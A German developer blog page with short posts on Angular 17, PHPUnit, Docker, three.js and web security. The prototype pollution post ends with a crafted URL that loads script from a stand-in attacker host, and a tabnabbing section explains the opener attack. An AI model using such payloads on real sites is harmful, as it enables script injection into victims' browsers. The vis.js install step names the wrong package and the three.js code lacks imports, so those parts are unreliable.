Kategorien
Angular

Angular 17 neue Features

Im Rahmen der stetigen Evolution von Angular, einer der führenden Plattformen für die Entwicklung von Webanwendungen, wurden kürzlich mehrere neue Features eingeführt, die die Art und Weise, wie Entwickler mit dieser Framework arbeiten, signifikant beeinflussen. Zu diesen Neuerungen gehören die Direktiven @if, @for, @SWITCH sowie die Einführung von Signals. Diese Elemente erweitern die Möglichkeiten der bedingten Darstellung und Schleifen in Angular-Anwendungen und bringen ein neues Paradigma für die Zustandsverwaltung mit Signals ein. In diesem Artikel werfen wir einen genaueren Blick auf diese Neuerungen, ihre Funktionsweisen und den Mehrwert, den sie für Angular-Entwickler darstellen.

@if Direktive

Die @if Direktive in Angular ermöglicht eine einfache und effiziente Methode zur bedingten Darstellung von Komponenten oder Elementen im DOM. Ähnlich wie die *ngIf Direktive, die bereits seit Längerem in Angular verfügbar ist, erlaubt @if Entwicklern, bestimmte Teile eines Templates basierend auf einem booleschen Ausdruck ein- oder auszublenden. Der Hauptunterschied besteht darin, dass @if eine direktere und deklarativere Syntax bietet, die die Lesbarkeit und Wartbarkeit des Codes verbessert.

@if (isAdmin) {
  <button>Erase database</button>
} @else {
  <p>You are not authorized.</p>
}

@for Direktive

Mit der Einführung der @for Direktive erweitert Angular seine Fähigkeiten in Bezug auf die Darstellung von Listen oder Arrays. Diese Direktive ersetzt die herkömmliche *ngFor Direktive und bietet eine verbesserte Performance und Flexibilität beim Durchlaufen von Datenstrukturen. @for arbeitet nahtlos mit den neuen Signals zusammen, um effizient auf Änderungen in den Daten reagieren zu können.

<ul>
  @for (ingredient of ingredientList; track ingredient.name) {
  <li>{{ ingredient.quantity }} - {{ ingredient.name }}</li>
  }
</ul>

Der track Ausdruck in der Angular @for-Schleife, spezifisch track ingredient.name in dem gegebenen Beispiel, dient dazu, die Identität jedes Elements in einer Liste eindeutig zu bestimmen, insbesondere bei Operationen, die die Liste verändern, wie das Hinzufügen, Entfernen oder Neuanordnen von Elementen. Diese Technik verbessert die Performance, da Angular dadurch nur die veränderten Elemente im DOM aktualisieren muss, anstatt die komplette Liste neu zu rendern.

Angenommen, Sie haben eine Liste von Zutaten, und jede Zutat hat einen einzigartigen Namen. Wenn sich die Eigenschaften einer spezifischen Zutat ändern (z.B. die Menge) oder wenn Zutaten hinzugefügt oder entfernt werden, ermöglicht der track Ausdruck Angular, genau diese Veränderungen nachzuverfolgen und nur die betroffenen Elemente im DOM zu aktualisieren. Das bedeutet, dass Angular effizienter arbeiten kann, da es nicht nötig ist, die gesamte Liste neu zu rendern, wenn sich nur ein Teil davon ändert. Diese Vorgehensweise ist besonders nützlich in dynamischen Anwendungen, wo Listen häufig aktualisiert werden und die Performance kritisch sein kann.

@switch Direktive

Die @switch Direktive stellt eine Erweiterung der bedingten Renderings in Angular dar. Sie ermöglicht es Entwicklern, komplexe bedingte Logik innerhalb ihrer Templates auf eine übersichtliche und strukturierte Weise zu implementieren. Mit @switch können mehrere Bedingungen geprüft und entsprechend unterschiedliche Komponenten oder Elemente dargestellt werden, ähnlich einer Switch-Case-Struktur in traditionellen Programmiersprachen.

@switch (color) {
  @case ("red") {
    <div>Red</div>
  }
  @case ("blue") {
    <div>Blue</div>
  }
  @default {
    <div>Default</div>
} }

Signals

Eines der aufregendsten Features in der neuesten Angular-Version ist die Einführung von Signals. Signals repräsentieren eine neue Art der Zustandsverwaltung, die reaktive Programmierung in Angular-Anwendungen vereinfacht. Sie erlauben es Entwicklern, Zustände auf eine Weise zu verwalten, die sowohl leistungseffizient als auch einfach zu verstehen ist. Signals fördern eine engere Integration von reaktiven Patterns in Angular und ermöglichen eine feinkörnigere Kontrolle über die Aktualisierung von Ansichten in Reaktion auf Zustandsänderungen.

Damit kann die Change Detection gesteuert werden und die Performance verbessert.

Fazit

Die neuen Direktiven @if, @for, @switch sowie die Einführung von Signals markieren einen signifikanten Schritt vorwärts in der Entwicklung von Angular. Sie bieten Entwicklern mächtige Werkzeuge, um ihre Anwendungen effizienter, reaktiver und mit einer besseren Benutzererfahrung zu gestalten. Durch die Vereinfachung komplexer Logiken und die Verbesserung der Performance bei der Datenverarbeitung setzen diese Neuerungen neue Maßstäbe in der Webentwicklung. Es bleibt spannend zu sehen, wie diese Features die Zukunft von Angular und der Entwicklung moderner Webanwendungen insgesamt prägen werden.

Kategorien
Server Administration

Finden der größen Dateien auf dem Server

Mit dem folgenden Befehl findet man bei einer vollen Festplatte den Übeltäter auf einem Linux System:

 sudo find / -type f -printf "%s\t%p\n" | sort -n | tail -20
Kategorien
PHP PHPUnit

PhpUnit 10 Call to undefined method PHPUnit\Framework\MockObject\MockBuilder::setMethods()

In PHPUnit 10 wurde setMethods entfernt, als Teil eines Bestrebens, die Verwendung von Mocks zu vereinfachen und zu modernisieren. Die Empfehlung ist nun, stattdessen die Methoden onlyMethods oder addMethods zu verwenden, je nachdem, was in Ihrem spezifischen Fall benötigt wird.

  • Verwenden von onlyMethods: Wenn Sie onlyMethods verwenden, mocken Sie nur die Methoden, die Sie benötigen, und alle anderen Methoden der ursprünglichen Klasse werden nicht gemockt und führen ihre normalen Operationen aus. In 99% aller Fälle kann setMethods durch onlyMethods ersetzt werden.
  • Verwenden von addMethods: addMethods wird verwendet, wenn Sie neue Methoden zu Ihrem Mock hinzufügen möchten, die in der ursprünglichen Klasse nicht existieren.

Beispiel, in dem nur die Methode sentMail gemockt werden soll:

PhpUnit < 10:

$mailsMock = $this->getMockBuilder(Mail::class)
    ->setMethods(['sentMail'])
    ->disableOriginalConstructor()
    ->getMock();

PhpUnit >= 10:

$mailsMock = $this->getMockBuilder(Mail::class)
    ->onlyMethods(['sentMail'])
    ->disableOriginalConstructor()
    ->getMock();

Diese Änderung soll dazu beitragen, dass der Zweck der Mocks klarer wird und Missverständnisse bei der Verwendung vermieden werden. Es ist auch ein Schritt in Richtung einer strengeren und präziseren Mocking-Praxis, die besser definiert, welche Teile eines Objekts für den Test relevant sind.

Kategorien
Docker

Docker Windows WSL Date falsch

Wenn die Uhr im Docker Container falsch läuft, liegt das am Host System, unter Windows ist dies Ubuntu. Dort lässt sich die Zeit einstellen mittels:

sudo hwclock -s

Kategorien
Angular

vis.js VIS Network Demo in Angular

Um vis.js in Angular zu verwenden und ein Netzwerk zu erstellen kann man folger Maßen vorgehen:

  1. Installieren das v-network-graph-Paket über npm:
npm install v-network-graph

2. Erstellen der Angular Komponente mit Beispiel Kanten und Knoten:

import { Component, OnInit, ViewChild, ElementRef } from '@angular/core';
import { DataSet } from "vis-data/peer";
import {Network, Node} from "vis-network/peer";

@Component({
  selector: 'app-network',
  template: `
    <div #network id="network"></div>
  `,
  styles: [
    '#network{height: 800px;width: 1200px;}'
  ]
})
export class NetworkComponent implements OnInit{
  @ViewChild('network', { static: true }) networkContainer?: ElementRef;

  ngOnInit() {

    const container = this.networkContainer?.nativeElement;

    const nodes: DataSet<Node> = new DataSet<Node>({});
    nodes.add([
      { id: 1, label: 'Node 1' },
      { id: 2, label: 'Node 2' },
      { id: 3, label: 'Node 3' },
      { id: 4, label: 'Node 4' },
      { id: 5, label: 'Node 5' }
    ]);

    const edges = new DataSet<any>({});
    edges.add([
      { from: 1, to: 2, label: 'Edge 1-2' },
      { from: 1, to: 3, label: 'Edge 1-3' },
      { from: 2, to: 4, label: 'Edge 2-4' },
      { from: 2, to: 5, label: 'Edge 2-5' }
    ]);

    const data = {
      nodes: nodes,
      edges: edges
    };

    const options = {};

    new Network(container, data, options);
  }
}

Ergebnis:

vis.js Netzwerk / Graph Beispiel in Angular
Kategorien
Angular three.js WebGL

Angular three.js Demo

Mit den folgenden Schritten kann man eine webgl three.js Komponenete in Angular erstellen:

  1. Installiere Three.js als Abhängigkeit:
npm install three

2. Installiere die Three.js-Typdefinitionen, um die Typüberprüfung und Code-Intelligenz in deinem Angular-Projekt zu verbessern. Führe den folgenden Befehl aus:

npm install @types/three --save-dev

3. Erstelle einer Angular Komponente

import {Component, OnInit} from '@angular/core';
import * as THREE from 'three';
import {OrbitControls} from "three/examples/jsm/controls/OrbitControls";
import {TextGeometry} from "three/examples/jsm/geometries/TextGeometry";
import {FontLoader} from "three/examples/jsm/loaders/FontLoader";
import {Mesh, MeshBasicMaterial, Scene, SphereGeometry, WebGLRenderer} from "three";

@Component({
  selector: 'app-mindmap',
  template: `
    <div id="mindmap" #mindmap></div>
  `,
  styles: [
    '#mindmap{  width: 1200px;height: 400px;display: block;}'
  ]
})
export class MindmapComponent implements OnInit {

  nodeA!: Mesh<SphereGeometry, MeshBasicMaterial>;
  nodeB!: Mesh<SphereGeometry, MeshBasicMaterial>;
  nodeC!: Mesh<SphereGeometry, MeshBasicMaterial>;

  @ViewChild('mindmap', { static: true }) mindmap?: ElementRef;

  private font: any;

  width = 1200;
  height = 400;

  private renderer!: WebGLRenderer;
  private scene!: Scene;

  ngOnInit(): void {

    // Laden der Schriftart
    var fontLoader = new FontLoader();
    fontLoader.load('assets/font/helvetiker_regular.typeface.json', (font: any) => {
      this.font = font;
      this.drawMindmap();
    });
  }

  private drawMindmap()
  {

// Initialisieren der Szene, Kamera und Renderer
    this.initialize();

    this.createNodes();

    // Erstellen der Textgeometrie mit der geladenen Schriftart
    this.createText();

    this.addControls();


    this.createConnections();
  }

  private initialize() {
    this.scene = new THREE.Scene();

    this.renderer = new THREE.WebGLRenderer({antialias: true});
    this.renderer.setSize(this.width, this.height);
    this.renderer.setClearColor(0xffffff); // Hintergrundfarbe auf Weiß setzen

  this.mindmap?.nativeElement.appendChild(this.renderer.domElement);

    const axesHelper = new THREE.AxesHelper( 1 );
    this.scene.add( axesHelper );
  }

  private createNodes() {
// Erstellen der Knoten-Geometrie und Materialien
    var geometry = new THREE.SphereGeometry(0.05, 32, 32); // Größe der Kugeln auf 10% reduzieren
    var material = new THREE.MeshBasicMaterial({color: 0x0000ff}); // Dunkelblau für das Material

// Erstellen der Knoten A
    var nodeA = new THREE.Mesh(geometry, material);
    this.scene.add(nodeA);
    nodeA.position.set(-1, 0, 0);

    this.nodeA = nodeA;

// Erstellen der Knoten B
    var nodeB = new THREE.Mesh(geometry, material);
    this.scene.add(nodeB);
    nodeB.position.set(0, 1, 0); // Knoten B nach unten verschieben

    this.nodeB = nodeB;

// Erstellen der Knoten C
    var nodeC = new THREE.Mesh(geometry, material);
    this.scene.add(nodeC);
    nodeC.position.set(1, 0, 0);

    this.nodeC= nodeC;
  }

  private addControls() {
    /**
     *     fov: Das Sichtfeld (Field of View) in Grad. Es definiert den vertikalen Erfassungswinkel der Kamera. Ein größerer Wert führt zu einem breiteren Sichtfeld und umgekehrt.
     *     aspect: Das Seitenverhältnis (Aspect Ratio) der Kamera. Es wird üblicherweise als Breite durch Höhe definiert. In diesem Fall wird this.width / this.height verwendet, wobei this.width und this.height die Breite und Höhe des Anzeigebereichs (Canvas oder Fenster) sind. Das Seitenverhältnis beeinflusst das Verhältnis der horizontalen zur vertikalen Sicht und wird verwendet, um die Szene korrekt zu skalieren.
     *     near: Der nahe Clip-Abstand. Objekte, die näher an der Kamera liegen als dieser Wert, werden abgeschnitten und nicht gerendert.
     *     far: Der ferne Clip-Abstand. Objekte, die weiter entfernt von der Kamera liegen als dieser Wert, werden ebenfalls abgeschnitten.
     */
    var camera = new THREE.PerspectiveCamera(75, this.width / this.height, 0.1, 1000);

    // Berechnen der Bounding Box der Knoten
    const boundingBox = new THREE.Box3().setFromObject(this.nodeA);
    boundingBox.expandByObject(this.nodeB);
    boundingBox.expandByObject(this.nodeC);
    const center = new THREE.Vector3();
    const size = new THREE.Vector3();
    boundingBox.getCenter(center);
    boundingBox.getSize(size);

// Berechnen des Kameraabstands basierend auf der Größe der Bounding Box
    const maxDimension = Math.max(size.x, size.y, size.z);
    const cameraDistance = maxDimension ; // Faktor 2 für etwas zusätzlichen Abstand
    camera.position.z = cameraDistance;

// Setzen der Kamera-Position auf den Schwerpunkt der Bounding Box
    camera.lookAt(center);

// Anpassen des Kamera-Zooms
    const cameraZoom = 1.5; // Passen Sie den Zoomwert an Ihre Anforderungen an
    camera.zoom = cameraZoom;
    camera.updateProjectionMatrix();

      // Maussteuerung für das Drehen der Szene hinzufügen
    var controls = new OrbitControls(camera, this.renderer.domElement);
    controls.target.set(0, 0, 0); // Drehachse in der Mitte des Bildes

    // Animations-Schleife
    const animate = () => {
      requestAnimationFrame(animate);

      // Animationen oder Interaktionen hier einfügen

      this.renderer.render(this.scene, camera);
    }
    animate();
  }

  private createText() {
    var textMaterial = new THREE.MeshBasicMaterial({color: 0x000000}); // Schriftfarbe auf Schwarz setzen

    var textGeometryA = new TextGeometry("A", {
      font: this.font,
      size: 0.05, // Größe der Schrift auf 5% reduzieren
      height: 0.005, // Höhe der Schrift auf 0.5% reduzieren
    });
    var textA = new THREE.Mesh(textGeometryA, textMaterial);
    textA.position.copy(this.nodeA.position);
    textA.position.y -= 0.2; // Knoten A TextNode nach unten verschieben
    this.scene.add(textA);

    var textGeometryB = new TextGeometry("B", {
      font: this.font,
      size: 0.05,
      height: 0.005,
    });
    var textB = new THREE.Mesh(textGeometryB, textMaterial);
    textB.position.copy(this.nodeB.position);
    textB.position.y -= 0.2; // Knoten B TextNode nach unten verschieben
    this.scene.add(textB);

    var textGeometryC = new TextGeometry("C", {
      font: this.font,
      size: 0.05,
      height: 0.005,
    });
    var textC = new THREE.Mesh(textGeometryC, textMaterial);
    textC.position.copy(this.nodeC.position);
    textC.position.y -= 0.2; // Knoten C TextNode nach unten verschieben
    this.scene.add(textC);
  }

  private createConnections() {
    // Erstellen der Beziehungslinien
    var lineMaterial = new THREE.LineBasicMaterial({color: 0x000000, linewidth: 4}); // Linienfarbe auf Schwarz und Linienbreite auf 4 setzen

    var lineABGeometry = new THREE.BufferGeometry().setFromPoints([this.nodeA.position, this.nodeB.position]);
    var lineAB = new THREE.Line(lineABGeometry, lineMaterial);
    this.scene.add(lineAB);

    var lineBCGeometry = new THREE.BufferGeometry().setFromPoints([this.nodeB.position, this.nodeC.position]);
    var lineBC = new THREE.Line(lineBCGeometry, lineMaterial);
    this.scene.add(lineBC);

    var lineCAGeometry = new THREE.BufferGeometry().setFromPoints([this.nodeC.position, this.nodeA.position]);
    var lineCA = new THREE.Line(lineCAGeometry, lineMaterial);
    this.scene.add(lineCA);
  }
}

Ergebnis:

Kategorien
Angular JavaScript Security

JSONP und Sicherheit von Web Anwendungen

JavaScript Object Notation with Padding (JSONP) ist eine Methode, die in der Webentwicklung verwendet wird, um das Same-Origin-Policy-Problem zu umgehen. Es ermöglicht den Abruf von Daten aus einer anderen Domain, umgeht dabei aber die Cross-Origin-Restriktionen, die in Web-Browsern eingebaut sind. JSONP arbeitet durch das Einbetten einer Remote-Anfrage in einen <script>-Tag anstelle eines XMLHttpRequest.

Ein ausführliches JavaScript / PHP Beispiel findet man hier.

JSONP hat mehrere Nachteile und aus Sicherheitstechnischen Gründen wird empfohlen, JSONP nicht mehr zu verwenden, sofern es nicht unbedingt erforderlich ist. Hier sind einige der Hauptnachteile:

  1. Sicherheitsrisiken: JSONP öffnet potenziell Sicherheitslücken, insbesondere im Zusammenhang mit Cross-Site Scripting (XSS) und Cross-Site Request Forgery (CSRF). JSONP ermöglicht das Ausführen von beliebigem JavaScript-Code auf der Seite, was zu potenziellen Angriffen und Datenlecks führen kann.
  2. Unsicherer Datentransfer: JSONP überträgt Daten im Klartext, da es keine standardmäßige Verschlüsselung oder Sicherheitsmaßnahmen bietet. Dies kann zu Datenschutzproblemen führen, insbesondere bei der Übertragung sensibler Daten.

Aufgrund dieser Nachteile wird empfohlen, moderne Alternativen wie CORS (Cross-Origin Resource Sharing) zu verwenden, die bessere Kontrolle, Flexibilität und Sicherheit bieten. CORS ermöglicht eine feinere Kontrolle über den Zugriff auf Ressourcen, unterstützt verschiedene HTTP-Methoden und ermöglicht den sicheren Austausch von Daten zwischen verschiedenen Domains.

Kategorien
Angular JavaScript Security

Frontent Sicherheit mit Sandboxing

Sandbox-Iframes bieten eine wichtige Sicherheitsschicht, wenn Sie Drittanbieterinhalte auf Ihrer Website einbetten möchten. Ohne die Sandbox können Iframes potenziell schädlichen Code enthalten und ausführen. Sie könnten bösartige Skripte ausführen, die Benutzerdaten stehlen, unerwünschte Werbung anzeigen oder andere schädliche Aktionen ausführen. Mit der Sandbox können Sie genau kontrollieren, was im Iframe erlaubt ist und was nicht.

Das sandbox Attribut für Iframes kann mit den folgenden Direktiven oder Werten gefüllt werden, um verschiedene Einschränkungen für den Inhalt des Iframes zu setzen:

Sandbox-AttributBeschreibungBeispiel
allow-formsErlaubt dem eingebetteten Dokument, Formulareinreichungen zu tätigen.document.forms[0].submit();
allow-modalsErlaubt dem eingebetteten Dokument, Modal-Dialoge zu öffnen (z. B. mit alert, confirm, prompt oder print).alert(„Hallo, Welt!“);
allow-orientation-lockErlaubt dem eingebetteten Dokument, den Bildschirm zu sperren mit der screen.orientation.lock(‚landscape‘);
allow-pointer-lockErlaubt dem eingebetteten Dokument, den Mauszeiger zu sperren und die Pointer Lock API zu verwenden.canvas.addEventListener("click", async () => {
await canvas.requestPointerLock();
});
allow-popupsErlaubt dem eingebetteten Dokument, Pop-up-Fenster oder -Tabs zu öffnen.window.open(„https://example.com“);
allow-popups-to-escape-sandboxErlaubt Pop-up-Fenstern, die vom eingebetteten Dokument geöffnet wurden, den Sandbox-Modus zu verlassen.Angenommen, Sie haben ein iFrame mit sandbox="allow-popups", aber ohne das allow-popups-to-escape-sandbox Attribut. Wenn dann das iFrame ein Popup mit window.open() öffnet, gelten dieselben Sandbox-Einschränkungen auch für dieses Popup-Fenster. Mit dem allow-popups-to-escape-sandbox Attribut wird das Popup-Fenster dagegen nicht von den Sandbox-Einschränkungen des iFrames beeinflusst.
allow-presentationErlaubt eingebetteten Dokumenten, die Presentation API zu verwenden.var request = new PresentationRequest([„https://example.com/presentation.html“]);
allow-same-originErlaubt dem eingebetteten Dokument, die gleiche Herkunft wie das einbettende Dokument zu behandeln. Ohne dieses Schlüsselwort sind sie von fremden Ursprungs und werden nicht erlaubt.var xhr = new XMLHttpRequest();
xhr.open(„GET“, „/api/data“, true);
xhr.send();
allow-scriptsErlaubt dem eingebetteten Dokument, Skripte auszuführen (aber nicht automatische Ausführungen von Pop-ups).document.getElementById(„foo“).innerHTML = „bar“;
allow-storage-access-by-user-activationErlaubt auf den lokalen Speicher zuzugreifen, wenn es durch Benutzeraktivierung gestartet wird.localStorage.setItem(„key“, „value“);
allow-top-navigationErlaubt dem eingebetteten Dokument, das einbettende Dokument zu navigieren.top.location.href = „https://example.com“;
allow-top-navigation-by-user-activationErlaubt dem eingebetteten Dokument, das einbettende Dokument zu navigieren, aber nur wenn dies durch Benutzeraktivierung geschieht.
<a href=“https://example.com“ target=“_top“>Besuchen Sie example.com</a>
Das Iframe sandbox Attribut

Ohne spezifische Direktiven blockiert ein gesandboxter Iframe alle diese Aktionen.

Beispiel für die Verwendung des sandbox Attributs mit mehreren Direktiven:

<iframe sandbox="allow-scripts allow-forms" src="https://example.com"></iframe>

In diesem Beispiel können innerhalb des Iframes Skripte ausgeführt und Formulare übermittelt werden. Alle anderen Aktionen, die durch die obigen Direktiven gesteuert werden, sind jedoch blockiert.

Sandboxing und Einbinden von Dirttanbieter JavaScript

Um Drittanbieter-JavaScript in einem Sandbox-Iframe zu nutzen, können Sie einen Ansatz wie den folgenden verwenden:

<iframe sandbox="allow-scripts" src="https://your-website.com/iframe-content.html"></iframe>

In diesem Beispiel wird ein Iframe erstellt, der das Ausführen von Skripten erlaubt (allow-scripts). Der Inhalt des Iframes wird von iframe-content.html geladen, das auf Ihrer eigenen Website gehostet ist.

Die iframe-content.html Datei könnte so aussehen:

<!DOCTYPE html>
<html>
<body>
    <script src="https://third-party.com/some-script.js"></script>
</body>
</html>

In diesem Fall wird das Drittanbieter-Skript innerhalb des Iframes geladen und ausgeführt. Es ist jedoch auf das Iframe beschränkt und kann nicht auf Elemente oder Daten außerhalb des Iframes zugreifen, es sei denn, Sie erweitern die Sandbox-Erlaubnisse mit zusätzlichen Direktiven.

Kategorien
JavaScript Security

Sicherheit von externen Links

In dem Zusammenhang der Sicherheit von externen Links können die Attribute „noopener“ und „noreferrer“ verwendet werden, um bestimmte Sicherheitsrisiken zu minimieren. Hier ist eine Erläuterung, wie diese Attribute eingesetzt werden können:

  1. noreferrer:
    Das noreferrer-Attribut wird verwendet, um zu verhindern, dass der Referrer-Header an die verlinkte Website gesendet wird. Der Referrer-Header enthält normalerweise die URL der Seite, von der der Benutzer kommt. Durch das Entfernen dieser Information wird verhindert, dass die verlinkte Website den Ursprung des Benutzerverkehrs nachverfolgen kann. Dies kann hilfreich sein, um die Privatsphäre der Benutzer zu schützen und potenziell sensible Informationen zu verbergen.

Beispiel:

<a href="https://example.com" rel="noreferrer">Externer Link</a>
  1. noopener:
    Das noopener-Attribut wird verwendet, um das Öffnen des externen Links in einem neuen Tab oder Fenster zu isolieren und zu verhindern, dass das geöffnete Fenster auf den ursprünglichen Tab oder das Fenster zugreifen kann. Dies hilft, sogenannte Tabnabbing-Angriffe zu verhindern, bei denen die verlinkte Website möglicherweise den Inhalt des ursprünglichen Tabs ändern oder betrügerische Aktionen durchführen kann.

Beispiel:

<a href="https://example.com" target="_blank" rel="noopener">Externer Link</a>

Es ist wichtig zu beachten, dass beide Attribute (noreferrer und noopener) zusammen verwendet werden können, um sowohl die Privatsphäre des Benutzers zu schützen als auch potenzielle Sicherheitslücken zu schließen.

Beispiel:

<a href="https://example.com" target="_blank" rel="noreferrer noopener">Externer Link</a>

Durch die Verwendung dieser Attribute können Website-Betreiber dazu beitragen, die Sicherheit und Privatsphäre der Benutzer zu verbessern, insbesondere wenn es um externe Links geht, die zu nicht vertrauenswürdigen oder potenziell schädlichen Websites führen können.

Verlauf eines Tabnabbing-Angriffes

Tab-Navigation-Phishing-Angriffe zielen darauf ab, die Benutzer durch betrügerische Inhalte oder Aktionen zu täuschen, wenn sie zwischen verschiedenen geöffneten Tabs oder Fenstern in ihrem Webbrowser wechseln. Diese Angriffe können auf verschiedene Arten durchgeführt werden, aber hier ist ein grundlegendes Szenario, um den Ablauf zu erklären:

Ein Tab im Vordergrund wird von einer vertrauenswürdigen Anwendung geöffnet. Dieser Tab zeigt eine vom Angreifer kontrollierte Website an und verwendet window.opener.location.assign(), um den Hintergrundtab durch ein bösartiges Dokument zu ersetzen.
Natürlich ändert sich durch diese Aktion auch die Adressleiste des Hintergrundtabs – der Angreifer hofft jedoch, dass das Opfer weniger aufmerksam ist und blind sein Passwort oder andere sensible Informationen eingibt, wenn dieser zu dem Tab zurückkehrt.

Kategorien
JavaScript Security

Prototype Pollution in JavaScript

Prototype Pollution ist eine Art von Sicherheitslücke in JavaScript, die durch Manipulation der Prototyp-Kette entsteht. In JavaScript können alle Objekte eine Prototyp-Kette haben, die verwendet wird, um Eigenschaften und Methoden zu erben. Wenn ein Objekt eine Eigenschaft oder Methode nicht selbst definiert hat, sucht es in seiner Prototyp-Kette, um zu sehen, ob sie dort definiert ist.

Die Prototype Pollution Sicherheitslücke tritt auf, wenn ein Angreifer in der Lage ist, Eigenschaften zu der Prototyp-Kette von JavaScript-Objekten hinzuzufügen oder zu ändern. Da alle Instanzen eines Objekts diese Änderungen erben, kann dies schwerwiegende Folgen haben.

Hier ist ein einfaches Beispiel:

let obj = {};
console.log(obj.toString()); // [object Object]

Object.prototype.toString = function() {
  return 'Dieses Objekt wurde manipuliert';
};

console.log(obj.toString()); // Ausgabe: Dieses Objekt wurde manipuliert

In diesem Beispiel wurde die toString Methode auf Object.prototype manipuliert, was bedeutet, dass jedes Objekt, das diese Methode aufruft, die manipulierte Version verwenden wird.

Verhinderung von Prototype Pollution

Hier sind einige Maßnahmen, die Sie ergreifen können, um sich gegen Prototype Pollution zu schützen:

  1. Validierung von Eingaben: Sie sollten immer alle Eingaben überprüfen und bereinigen, bevor Sie sie verwenden, besonders wenn sie dazu dienen, Objekte zu manipulieren. Sie sollten nicht zulassen, dass Eingaben direkt als Eigenschaftsnamen verwendet werden, insbesondere wenn sie von unsicheren Quellen stammen.
  2. Verwendung von hasOwnProperty: Wenn Sie mit Objekten arbeiten, verwenden Sie die hasOwnProperty Methode, um sicherzustellen, dass eine Eigenschaft direkt am Objekt und nicht in der Prototyp-Kette definiert ist.
let obj = { ... };
if (obj.hasOwnProperty('potentiallyUnsafeProperty')) {
  // Arbeitet mit der Eigenschaft
}
  1. Vermeidung von __proto__ und prototype: Vermeiden Sie die Verwendung von __proto__ und prototype in Ihrem Code, und erlauben Sie nicht, dass sie durch Eingaben geändert werden.

Um die Einhaktung dieser Regeln zu gewährleisten, ist es sinnvoll den eigenen Code darauf untersuchen zu lassen mittels Code Analyse wieSonarQube oder ESLint.

Beispiel für eine Prototype Pollution

Viele JavaScript-Bibliotheken akzeptieren ein Objekt, das Entwickler verwenden können, um verschiedene Konfigurationsoptionen festzulegen. Der Bibliothekscode prüft, ob der Entwickler bestimmte Eigenschaften zu diesem Objekt hinzugefügt hat und passt die Konfiguration entsprechend an. Ist eine Eigenschaft, die eine bestimmte Option repräsentiert, nicht vorhanden, wird oft eine vordefinierte Standardoption verwendet. Ein vereinfachtes Beispiel könnte so aussehen:

let transport_url = config.transport_url || defaults.transport_url;

Stellen Sie sich nun vor, der Bibliothekscode verwendet diese transport_url, um eine Skriptreferenz auf der Seite hinzuzufügen:

let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);

Haben die Entwickler der Website keine transport_url-Eigenschaft in ihrem Config-Objekt festgelegt, handelt es sich hierbei um ein Sicherheitsproblem. In Fällen, in denen ein Angreifer in der Lage ist, das globale Object.prototype mit seiner eigenen transport_url-Eigenschaft zu „verschmutzen“, wird diese vom Config-Objekt geerbt und daher als Quelle für dieses Skript auf eine Domain der Wahl des Angreifers gesetzt.

Dann müsste der Angreifer nur ein Opfer dazu bringen, eine speziell erstellte URL zu besuchen, um dessen Browser dazu zu bringen, eine schädliche JavaScript-Datei von einer vom Angreifer kontrollierten Domain zu importieren und auszuführen:

https://vulnerable-website.com/?__proto__[transport_url]=//malicious-site.net